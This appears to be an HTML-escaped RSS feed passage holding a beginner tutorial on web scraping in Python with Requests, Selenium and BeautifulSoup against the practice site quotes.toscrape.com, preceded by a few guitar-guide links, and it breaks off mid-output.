&lt;li&gt;&lt;a href=&quot;https://www.musicradar.com/news/the-10-best-electric-guitars-under-dollarpound500-our-pick-of-the-best-guitars-for-beginners-and-experts&quot;&gt;https://www.musicradar.com/news/the-10-best-electric-guitars-under-dollarpound500-our-pick-of-the-best-guitars-for-beginners-and-experts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.guitarhabits.com/top-10-best-low-budget-electric-guitars-for-beginners-under-300-dollars/&quot;&gt;https://www.guitarhabits.com/top-10-best-low-budget-electric-guitars-for-beginners-under-300-dollars/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gearank.com/guides/cheap-electric-guitars&quot;&gt;https://www.gearank.com/guides/cheap-electric-guitars&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.uberchord.com/blog/5-best-affordable-electric-guitars-for-beginners-2016-2/&quot;&gt;https://www.uberchord.com/blog/5-best-affordable-electric-guitars-for-beginners-2016-2/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yourguitarbrain.com/10-brilliant-cheap-electric-guitars/&quot;&gt;https://yourguitarbrain.com/10-brilliant-cheap-electric-guitars/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spinditty.com/instruments-gear/Best-Electric-Guitar-for-Beginners-Under-200&quot;&gt;https://spinditty.com/instruments-gear/Best-Electric-Guitar-for-Beginners-Under-200&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lifewire.com/best-beginner-electric-guitars-4160474&quot;&gt;https://www.lifewire.com/best-beginner-electric-guitars-4160474&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>An Introduction to Web-scraping using Python</title><link>https://sumit-ghosh.com/posts/introduction-web-scraping-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/introduction-web-scraping-python/</guid><description>An Introduction to Web-scraping using Python — by Sumit Ghosh.</description><pubDate>Sun, 23 Dec 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Web-scraping is an important technique, frequently employed in a lot of different contexts, especially data science and data mining. It can also contribute as a part of an automation pipeline. Python is considered the go-to language for web-scraping, the reason being the batteries-included nature of Python; you can create a simple scraping script in about 15 minutes and under 100 lines of code. So regardless of usage, web-scraping is a skill that every Python programmer must have under his belt.&lt;/p&gt;
&lt;p&gt;Before we start getting hands-on, we should step back and consider what is web-scraping, when should we use it and when to avoid using it. As you already know, web-scraping is a technique employed to automatically extract data from websites. What’s important to understand is, web-scraping is a somewhat crude technique to extract data. If the developers of a website are generous enough to provide an API to extract data, that would be a lot more stable and robust way to do it. So, rule of thumb, if a website provides an API to programmatically retrieve their data, use that. If an API is not available, only then use web-scraping. With that being clear, let’s jump right into the tutorial.&lt;/p&gt;
&lt;p&gt;For this tutorial, we’re going to scrape &lt;a href=&quot;http://quotes.toscrape.com/&quot;&gt;http://quotes.toscrape.com/&lt;/a&gt;, a site that lists famous quotes by renowned authors.&lt;/p&gt;
&lt;h3 id=&quot;the-pipeline&quot;&gt;The pipeline&lt;/h3&gt;
&lt;p&gt;We can understand web-scraping as a pipeline containing 3 components&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Downloading&lt;/em&gt;. Downloading the HTML web-page&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Parsing&lt;/em&gt;. Parsing the HTML and retrieving data we’re interested in&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Storing&lt;/em&gt;. Storing the retrieved data in our local machine in a specific format&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;downloading-html&quot;&gt;Downloading HTML&lt;/h3&gt;
&lt;p&gt;It only seems logical that to extract any data from a web-page, we first have to download it. There are two ways we can go about doing this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Using browser automation libraries like Selenium.&lt;/em&gt;&lt;br&gt;
Selenium lets you open a browser, let’s say Chrome, and control it however you want. You can open the web-page in a browser and then get the HTML code of that page, all automated using Selenium. However, this method has a huge drawback — it is significantly slower. The reason being the overhead of running the browser and rendering the HTML in the browser. This is why we should always prefer the 2nd method, resorting to this method in exceptional cases — cases where the content we want to scrape gets loaded by some JS code in the browser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Using HTTP libraries, such as Requests or Urllib.&lt;/em&gt;&lt;br&gt;
HTTP libraries let you send the exact HTTP request you want to make and get the response, bypassing the need to open any browser at all, unlike the first method. This method should always be preferred, as it is way faster than Selenium. As I already said, we should only employ Selenium when it is absolutely necessary, i.e. when the required data is not there in the initial HTML at all, it gets loaded by some JS code in the browser.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now let me show you how can we achieve this component of the pipeline using Selenium and Requests.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Using Requests&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;result &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; requests.get(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;http://quotes.toscrape.com/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;page &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; result.text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, a GET request is made to the URL, which is almost synonymous to downloading the webpage. Then, we can get the HTML source of the page by accessing the result object returned by the requests.get() method.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Using Selenium&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; selenium &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; webdriver&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;driver &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; webdriver.Chrome()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;driver.get(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;http://quotes.toscrape.com/&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;page &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; driver.page_source&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, we first start by creating a &lt;code&gt;webdriver&lt;/code&gt; object, which represents the browser. Doing this will start the browser on the computer running the code. Then, by calling the &lt;code&gt;get&lt;/code&gt; method of the &lt;code&gt;webdriver&lt;/code&gt; object, we can open an URL. And finally, get the source code by accessing the &lt;code&gt;page_source&lt;/code&gt; property of the &lt;code&gt;webdriver&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;In both the cases, the HTML source of the URL is stored in the page variable as a string.&lt;/p&gt;
&lt;h3 id=&quot;parsing-html-and-extracting-data&quot;&gt;Parsing HTML and extracting data&lt;/h3&gt;
&lt;p&gt;Without getting into theoretical computer science, we can define parsing as the process of analyzing a string so that we can understand its contents and thus access data within it easily. In Python, there are two libraries that help us with Parsing HTML, BeautifulSoup and Lxml. Lxml is a more lower-level framework than BeautifulSoup, and we can use Lxml as a backend in BeautifulSoup, so for simple HTML parsing purposes, BeautifulSoup would be the preferred library.&lt;/p&gt;
&lt;p&gt;But before we dive into parsing, we have to analyze the web-page’s HTML and see how the data we want to scrape is structured and located. Only when we’re armed with that information, we can get the information we want from the parsed HTML. But thankfully, we won’t have to open the source code in an editor and manually understand and correlate each HTML element with the corresponding element in the rendered page. Most browsers offer a &lt;em&gt;Inspector&lt;/em&gt;, which enables us to quickly look at the HTML code of any element just by clicking on them.&lt;/p&gt;
&lt;p&gt;To do this in Chrome, open the web page in Chrome, then right-click on the data you want to scrape and select &lt;em&gt;Inspect&lt;/em&gt;. In Firefox, this option is called &lt;em&gt;Inspect Element&lt;/em&gt;. Same thing, different name.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/web-scraping-inspect.png&quot; alt=&quot;inspect.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;You’ll notice a pane opened at the bottom of the Chrome window, containing the source code of the element you clicked on. Browse through the source code a bit to get an idea of how the data which we want to scrape is structured.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/web-scraping-source.png&quot; alt=&quot;source.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can understand after a little bit of inspection, each quote is contained in a &lt;code&gt;div&lt;/code&gt; with &lt;code&gt;class=&quot;quote&quot;&lt;/code&gt;. Within that &lt;code&gt;div&lt;/code&gt;, the text of the quote is in a &lt;code&gt;span&lt;/code&gt; with &lt;code&gt;class=&quot;text&quot;&lt;/code&gt; and the author’s name is in a &lt;code&gt;small&lt;/code&gt; with &lt;code&gt;class=&quot;author&quot;&lt;/code&gt;. This info will be required in when we get to actually parsing the HTML.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/web-scraping-structure.png&quot; alt=&quot;structure.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, let’s start parsing the HTML page using BeautifulSoup.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; bs4 &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; BeautifulSoup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;soup &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; BeautifulSoup(page, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;html.parser&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First of all, we create a &lt;em&gt;parsed&lt;/em&gt; version of the page by passing it to the &lt;code&gt;BeautifulSoup&lt;/code&gt; class constructor. As you can see, we also pass a second argument to the constructor, &lt;code&gt;html.parser&lt;/code&gt;. That is the name of the parser BS4 is going to use to parse the string you passed to it. You could’ve also used the parser &lt;code&gt;lxml&lt;/code&gt;, which we previously talked about, given that you have Lxml installed.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;quotes &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; soup.find_all(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;div&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;class_&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;quote&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, we extract all the &lt;code&gt;div&lt;/code&gt; tags in the page containing &lt;code&gt;class=&quot;quote&quot;&lt;/code&gt;, as we know those are the &lt;code&gt;div&lt;/code&gt;s containing quotes. To do this, BS4 offers a &lt;code&gt;find_all&lt;/code&gt; function. We passed the tag name and the class name to the &lt;code&gt;find_all&lt;/code&gt; function, and it returned all the tags satisfying the conditions, i.e. the tags containing our quotes.&lt;/p&gt;
&lt;p&gt;An important thing to note here is, we’re working with tree structures here, &lt;code&gt;soup&lt;/code&gt; and also each element of &lt;code&gt;quotes&lt;/code&gt; are trees. In a way, the elements of &lt;code&gt;quotes&lt;/code&gt; are parts of the larger &lt;code&gt;soup&lt;/code&gt; tree. Anyway, without drifting off into a different discussion, let’s carry on.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;scraped &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; quote &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; quotes:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; quote.find(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;span&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;class_&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;text&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    author &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; quote.find(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;small&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;class_&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;author&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;).text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    scraped.append([text, author])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, we know that the text of the quote is in a &lt;code&gt;span&lt;/code&gt; with &lt;code&gt;class=&quot;text&quot;&lt;/code&gt; and the author is in a &lt;code&gt;small&lt;/code&gt; with &lt;code&gt;class=&quot;author&quot;&lt;/code&gt;. To extract them from the quote elements, we again employ a similar function, &lt;code&gt;find&lt;/code&gt;. This takes same arguments and functions almost the same as of &lt;code&gt;find_all&lt;/code&gt;, the only difference being it returns the first tag satisfying the conditions, whereas &lt;code&gt;find_all&lt;/code&gt; returned a list of tags. Also, we want to access the &lt;code&gt;text&lt;/code&gt; property of the returned object, which contains the text enclosed within that tag.&lt;/p&gt;
&lt;p&gt;So, as you can see in the code, we loop through all the elements of the list &lt;code&gt;quotes&lt;/code&gt;, and extract the quote text and author name, storing them as a list of lists with the name &lt;code&gt;scraped&lt;/code&gt;. Pretty printing &lt;code&gt;scraped&lt;/code&gt; results in the following&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“The world as we have created it is a process of our thinking. It cannot be &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;changed without changing our thinking.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Albert Einstein&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“It is our choices, Harry, that show what we truly are, far more than our &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;abilities.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;J.K. Rowling&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“There are only two ways to live your life. One is as though nothing is a &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;miracle. The other is as though everything is a miracle.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Albert Einstein&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“The person, be it gentleman or lady, who has not pleasure in a good novel, &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;must be intolerably stupid.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Jane Austen&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;“Imperfection is beauty, madness is genius and it&apos;s better to be absolutely &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;ridiculous than absolutely boring.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Marilyn Monroe&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“Try not to become a man of success. Rather become a man of value.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Albert Einstein&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;“It is better to be hated for what you are than to be loved for what you &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;are not.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;André Gide&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;“I have not failed. I&apos;ve just found 10,000 ways that won&apos;t work.”&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;Thomas A. Edison&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;“A woman is like a tea bag; you never know how strong it is until it&apos;s in &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;  &apos;hot water.”&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
